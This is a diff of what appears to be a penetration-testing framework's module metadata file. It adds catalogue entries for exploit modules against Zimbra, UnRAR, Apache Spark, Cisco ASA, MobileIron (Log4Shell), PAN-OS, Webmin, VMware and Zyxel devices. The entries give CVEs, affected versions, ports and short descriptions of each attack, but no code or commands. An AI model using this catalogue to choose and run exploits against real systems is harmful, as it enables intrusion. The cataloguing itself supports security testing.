|
||||
"Reliability": [
|
||||
"unreliable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"screen-effects"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/scada/digi_addp_reboot": {
|
||||
"name": "Digi ADDP Remote Reboot Initiator",
|
||||
"fullname": "auxiliary/scanner/scada/digi_addp_reboot",
|
||||
@@ -47423,7 +47852,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-07-19 16:04:41 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssl/openssl_heartbleed",
|
||||
@@ -49822,7 +50251,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-05-12 22:15:21 +0000",
|
||||
"mod_time": "2022-07-29 12:58:55 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/imap.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/imap",
|
||||
@@ -56860,6 +57289,59 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/fileformat/unrar_cve_2022_30333": {
|
||||
"name": "UnRAR Path Traversal (CVE-2022-30333)",
|
||||
"fullname": "exploit/linux/fileformat/unrar_cve_2022_30333",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Simon Scannell",
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module creates a RAR file that exploits CVE-2022-30333, which is a\n path-traversal vulnerability in unRAR that can extract an arbitrary file\n to an arbitrary location on a Linux system. UnRAR fixed this\n vulnerability in version 6.12 (open source version 6.1.7).\n\n The core issue is that when a symbolic link is unRAR'ed, Windows\n symbolic links are not properly validated on Linux systems and can\n therefore write a symbolic link that points anywhere on the filesystem.\n If a second file in the archive has the same name, it will be written\n to the symbolic link path.",
|
||||
"references": [
|
||||
"CVE-2022-30333",
|
||||
"URL-https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/",
|
||||
"URL-https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946",
|
||||
"URL-https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Generic RAR file"
|
||||
],
|
||||
"mod_time": "2022-08-22 11:46:50 +0000",
|
||||
"path": "/modules/exploits/linux/fileformat/unrar_cve_2022_30333.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/fileformat/unrar_cve_2022_30333",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/ftp/proftp_sreplace": {
|
||||
"name": "ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)",
|
||||
"fullname": "exploit/linux/ftp/proftp_sreplace",
|
||||
@@ -57605,6 +58087,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/apache_spark_rce_cve_2022_33891": {
|
||||
"name": "Apache Spark Unauthenticated Command Injection RCE",
|
||||
"fullname": "exploit/linux/http/apache_spark_rce_cve_2022_33891",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-07-18",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Kostya Kortchinsky",
|
||||
"h00die-gr3y <h00die.gr3y@gmail.com>"
|
||||
],
|
||||
"description": "This module exploits an unauthenticated command injection vulnerability in Apache Spark.\n Successful exploitation results in remote code execution under the context of the Spark application user.\n\n The command injection occurs because Spark checks the group membership of the user passed\n in the ?doAs parameter by using a raw Linux command.\n\n It is triggered by a non-default setting called spark.acls.enable.\n This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack.\n\n Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability.",
|
||||
"references": [
|
||||
"URL-https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc",
|
||||
"URL-https://attackerkb.com/topics/5FyKBES4BL/cve-2022-33891",
|
||||
"CVE-2022-33891"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": 8080,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix (In-Memory)",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2022-09-07 12:45:13 +0000",
|
||||
"path": "/modules/exploits/linux/http/apache_spark_rce_cve_2022_33891.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/apache_spark_rce_cve_2022_33891",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection": {
|
||||
"name": "Artica proxy 4.30.000000 Auth Bypass service-cmds-peform Command Injection",
|
||||
"fullname": "exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection",
|
||||
@@ -58342,6 +58886,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/cisco_asax_sfr_rce": {
|
||||
"name": "Cisco ASA-X with FirePOWER Services Authenticated Command Injection",
|
||||
"fullname": "exploit/linux/http/cisco_asax_sfr_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-22",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"jbaines-r7"
|
||||
],
|
||||
"description": "This module exploits an authenticated command injection vulnerability affecting\n Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's\n ASDM web server and lands in the FirePower Services SFR module's Linux virtual\n machine as the root user. Access to the virtual machine allows the attacker to\n pivot to the inside network, and access the outside network. Also, the SFR\n virtual machine is running snort on the traffic flowing through the ASA, so\n the attacker should have access to this diverted traffic as well.\n\n This module requires ASDM credentials in order to traverse the ASDM interface.\n A similar attack can be performed via Cisco CLI (over SSH), although that isn't\n implemented here.\n\n Finally, it's worth noting that this attack bypasses the affects of the\n `lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be\n available but this attack makes it available).\n\n Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that\n support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service,\n and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module\n versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will\n receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.",
|
||||
"references": [
|
||||
"CVE-2022-20828",
|
||||
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asasfr-cmd-inject-PE4GfdG",
|
||||
"URL-https://www.rapid7.com/blog/post/2022/08/11/rapid7-discovered-vulnerabilities-in-cisco-asa-asdm-and-firepower-services-software/",
|
||||
"URL-https://www.cisco.com/c/en/us/td/docs/security/asa/quick_start/sfr/firepower-qsg.html"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x64",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Shell Dropper",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2022-09-02 08:44:04 +0000",
|
||||
"path": "/modules/exploits/linux/http/cisco_asax_sfr_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/cisco_asax_sfr_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/cisco_firepower_useradd": {
|
||||
"name": "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability",
|
||||
"fullname": "exploit/linux/http/cisco_firepower_useradd",
|
||||
@@ -63589,6 +64195,78 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/mobileiron_core_log4shell": {
|
||||
"name": "MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)",
|
||||
"fullname": "exploit/linux/http/mobileiron_core_log4shell",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2021-12-12",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"RageLtMan <rageltman@sempervictus>",
|
||||
"rwincey",
|
||||
"jbaines-r7"
|
||||
],
|
||||
"description": "MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server\n will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS\n command execution in the context of the tomcat user.\n\n This module will start an LDAP server that the target will need to connect to.",
|
||||
"references": [
|
||||
"CVE-2021-44228",
|
||||
"URL-https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis",
|
||||
"URL-https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US",
|
||||
"URL-https://www.mandiant.com/resources/mobileiron-log4shell-exploitation"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Linux"
|
||||
],
|
||||
"mod_time": "2022-08-02 11:04:13 +0000",
|
||||
"path": "/modules/exploits/linux/http/mobileiron_core_log4shell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/mobileiron_core_log4shell",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"AKA": [
|
||||
"Log4Shell",
|
||||
"LogJam"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"RelatedModules": [
|
||||
"auxiliary/scanner/http/log4shell_scanner",
|
||||
"exploit/multi/http/log4shell_header_injection"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/mobileiron_mdm_hessian_rce": {
|
||||
"name": "MobileIron MDM Hessian-Based Java Deserialization RCE",
|
||||
"fullname": "exploit/linux/http/mobileiron_mdm_hessian_rce",
|
||||
@@ -65301,6 +65979,72 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/panos_op_cmd_exec": {
|
||||
"name": "Palo Alto Networks Authenticated Remote Code Execution",
|
||||
"fullname": "exploit/linux/http/panos_op_cmd_exec",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-09-09",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Mikhail Klyuchnikov",
|
||||
"Nikita Abramov",
|
||||
"UnD3sc0n0c1d0",
|
||||
"jheysel-r7"
|
||||
],
|
||||
"description": "An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated\n administrators to execute arbitrary OS commands with root privileges.\n This issue impacts PAN-OS versions < 10.0.1, < 9.1.4 and < 9.0.10",
|
||||
"references": [
|
||||
"CVE-2020-2038",
|
||||
"URL-https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/",
|
||||
"URL-https://security.paloaltonetworks.com/CVE-2020-2038",
|
||||
"URL-https://github.com/und3sc0n0c1d0/CVE-2020-2038"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Linux ",
|
||||
"Unix In-Memory"
|
||||
],
|
||||
"mod_time": "2022-09-15 10:45:11 +0000",
|
||||
"path": "/modules/exploits/linux/http/panos_op_cmd_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/panos_op_cmd_exec",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/panos_readsessionvars": {
|
||||
"name": "Palo Alto Networks readSessionVarsFromFile() Session Corruption",
|
||||
"fullname": "exploit/linux/http/panos_readsessionvars",
|
||||
@@ -69104,6 +69848,70 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/webmin_package_updates_rce": {
|
||||
"name": "Webmin Package Updates RCE",
|
||||
"fullname": "exploit/linux/http/webmin_package_updates_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-07-26",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Christophe De La Fuente",
|
||||
"Emir Polat"
|
||||
],
|
||||
"description": "This module exploits an arbitrary command injection in Webmin\n versions prior to 1.997.\n\n Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform\n package updates and installation. Due to a lack of input\n sanitization, it is possibe to inject arbitrary command that will be\n concatenated to the package manager call.\n\n This exploit requires authentication and the account must have access\n to the Software Package Updates module.",
|
||||
"references": [
|
||||
"EDB-50998",
|
||||
"URL-https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165",
|
||||
"CVE-2022-36446"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64, aarch64",
|
||||
"rport": 10000,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix In-Memory",
|
||||
"Linux Dropper (x86 & x64)",
|
||||
"Linux Dropper (ARM64)"
|
||||
],
|
||||
"mod_time": "2022-08-09 15:09:25 +0000",
|
||||
"path": "/modules/exploits/linux/http/webmin_package_updates_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/webmin_package_updates_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/webmin_packageup_rce": {
|
||||
"name": "Webmin Package Updates Remote Command Execution",
|
||||
"fullname": "exploit/linux/http/webmin_packageup_rce",
|
||||
@@ -69457,6 +70265,136 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/zimbra_mboximport_cve_2022_27925": {
|
||||
"name": "Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)",
|
||||
"fullname": "exploit/linux/http/zimbra_mboximport_cve_2022_27925",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-05-10",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Volexity Threat Research",
|
||||
"Yang_99's Nest",
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module POSTs a ZIP file containing path traversal characters to\n the administrator interface for Zimbra Collaboration Suite. If\n successful, it plants a JSP-based backdoor within the web directory, then\n executes it.\n\n The core vulnerability is a path-traversal issue in Zimbra Collaboration Suite's\n ZIP implementation that can result in the extraction of an arbitrary file\n to an arbitrary location on the host.\n\n This issue is exploitable on the following versions of Zimbra:\n\n * Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier)\n * Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier)\n\n Note that the Open Source Edition is not affected.",
|
||||
"references": [
|
||||
"CVE-2022-27925",
|
||||
"CVE-2022-37042",
|
||||
"URL-https://blog.zimbra.com/2022/03/new-zimbra-patches-9-0-0-patch-24-and-8-8-15-patch-31/",
|
||||
"URL-https://www.cisa.gov/uscert/ncas/alerts/aa22-228a",
|
||||
"URL-https://www.yang99.top/index.php/archives/82/",
|
||||
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24",
|
||||
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P31"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": 7071,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Zimbra Collaboration Suite"
|
||||
],
|
||||
"mod_time": "2022-08-22 12:11:08 +0000",
|
||||
"path": "/modules/exploits/linux/http/zimbra_mboximport_cve_2022_27925.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/zimbra_mboximport_cve_2022_27925",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/zimbra_unrar_cve_2022_30333": {
|
||||
"name": "UnRAR Path Traversal in Zimbra (CVE-2022-30333)",
|
||||
"fullname": "exploit/linux/http/zimbra_unrar_cve_2022_30333",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Simon Scannell",
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module creates a RAR file that can be emailed to a Zimbra server\n to exploit CVE-2022-30333. If successful, it plants a JSP-based\n backdoor in the public web directory, then executes that backdoor.\n\n The core vulnerability is a path-traversal issue in unRAR that can\n extract an arbitrary file to an arbitrary location on a Linux system.\n\n This issue is exploitable on the following versions of Zimbra, provided\n UnRAR version 6.11 or earlier is installed:\n\n * Zimbra Collaboration 9.0.0 Patch 24 (and earlier)\n * Zimbra Collaboration 8.8.15 Patch 31 (and earlier)",
|
||||
"references": [
|
||||
"CVE-2022-30333",
|
||||
"URL-https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/",
|
||||
"URL-https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946",
|
||||
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25",
|
||||
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32",
|
||||
"URL-https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Zimbra Collaboration Suite"
|
||||
],
|
||||
"mod_time": "2022-08-17 10:19:36 +0000",
|
||||
"path": "/modules/exploits/linux/http/zimbra_unrar_cve_2022_30333.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/zimbra_unrar_cve_2022_30333",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/zimbra_xxe_rce": {
|
||||
"name": "Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF",
|
||||
"fullname": "exploit/linux/http/zimbra_xxe_rce",
|
||||
@@ -73185,6 +74123,59 @@
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/local/vmware_workspace_one_access_certproxy_lpe": {
|
||||
"name": "VMware Workspace ONE Access CVE-2022-31660",
|
||||
"fullname": "exploit/linux/local/vmware_workspace_one_access_certproxy_lpe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-08-02",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges\n to those of the root user by modifying a file and then restarting the vmware-certproxy service which\n invokes it. The service control is permitted via the sudo configuration without a password.",
|
||||
"references": [
|
||||
"CVE-2022-31660",
|
||||
"URL-https://www.vmware.com/security/advisories/VMSA-2022-0021.html"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2022-08-03 17:45:06 +0000",
|
||||
"path": "/modules/exploits/linux/local/vmware_workspace_one_access_certproxy_lpe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/vmware_workspace_one_access_certproxy_lpe",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/local/yum_package_manager_persistence": {
|
||||
"name": "Yum Package Manager Persistence",
|
||||
"fullname": "exploit/linux/local/yum_package_manager_persistence",
|
||||
@@ -73228,6 +74219,60 @@
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/zimbra_slapper_priv_esc": {
|
||||
"name": "Zimbra zmslapd arbitrary module load",
|
||||
"fullname": "exploit/linux/local/zimbra_slapper_priv_esc",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2021-10-27",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Darren Martyn",
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module exploits CVE-2022-37393, which is a vulnerability in\n Zimbra's sudo configuration that permits the zimbra user to execute\n the zmslapd binary as root with arbitrary parameters. As part of its\n intended functionality, zmslapd can load a user-defined configuration\n file, which includes plugins in the form of .so files, which also\n execute as root.",
|
||||
"references": [
|
||||
"CVE-2022-37393",
|
||||
"URL-https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2022-08-04 08:19:44 +0000",
|
||||
"path": "/modules/exploits/linux/local/zimbra_slapper_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/zimbra_slapper_priv_esc",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/zpanel_zsudo": {
|
||||
"name": "ZPanel zsudo Local Privilege Escalation Exploit",
|
||||
"fullname": "exploit/linux/local/zpanel_zsudo",
|
||||
@@ -73273,6 +74318,60 @@
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/local/zyxel_suid_cp_lpe": {
|
||||
"name": "Zyxel Firewall SUID Binary Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/zyxel_suid_cp_lpe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-14",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"jbaines-r7"
|
||||
],
|
||||
"description": "This module exploits CVE-2022-30526, a local privilege escalation vulnerability that\n allows a low privileged user (e.g. nobody) escalate to root. The issue stems from\n a suid binary that allows all users to copy files as root. This module overwrites\n the firewall's crontab to execute an attacker provided script, resulting in code\n execution as root.\n\n In order to use this module, the attacker must first establish shell access. For\n example, by exploiting CVE-2022-30525.\n\n Known affected Zyxel models are: USG FLEX (50, 50W, 100W, 200, 500, 700),\n ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN and USG20W-VPN.",
|
||||
"references": [
|
||||
"CVE-2022-30526",
|
||||
"URL-https://www.zyxel.com/support/Zyxel-security-advisory-authenticated-directory-traversal-vulnerabilities-of-firewalls.shtml"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, mips64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Unix Command",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2022-07-19 03:29:11 +0000",
|
||||
"path": "/modules/exploits/linux/local/zyxel_suid_cp_lpe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/zyxel_suid_cp_lpe",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/misc/accellion_fta_mpipe2": {
|
||||
"name": "Accellion FTA MPIPE2 Command Execution",
|
||||
"fullname": "exploit/linux/misc/accellion_fta_mpipe2",
|
||||
@@ -78069,10 +79168,13 @@
|
||||
"mihi",
|
||||
"joev <joev@metasploit.com>"
|
||||
],
|
||||
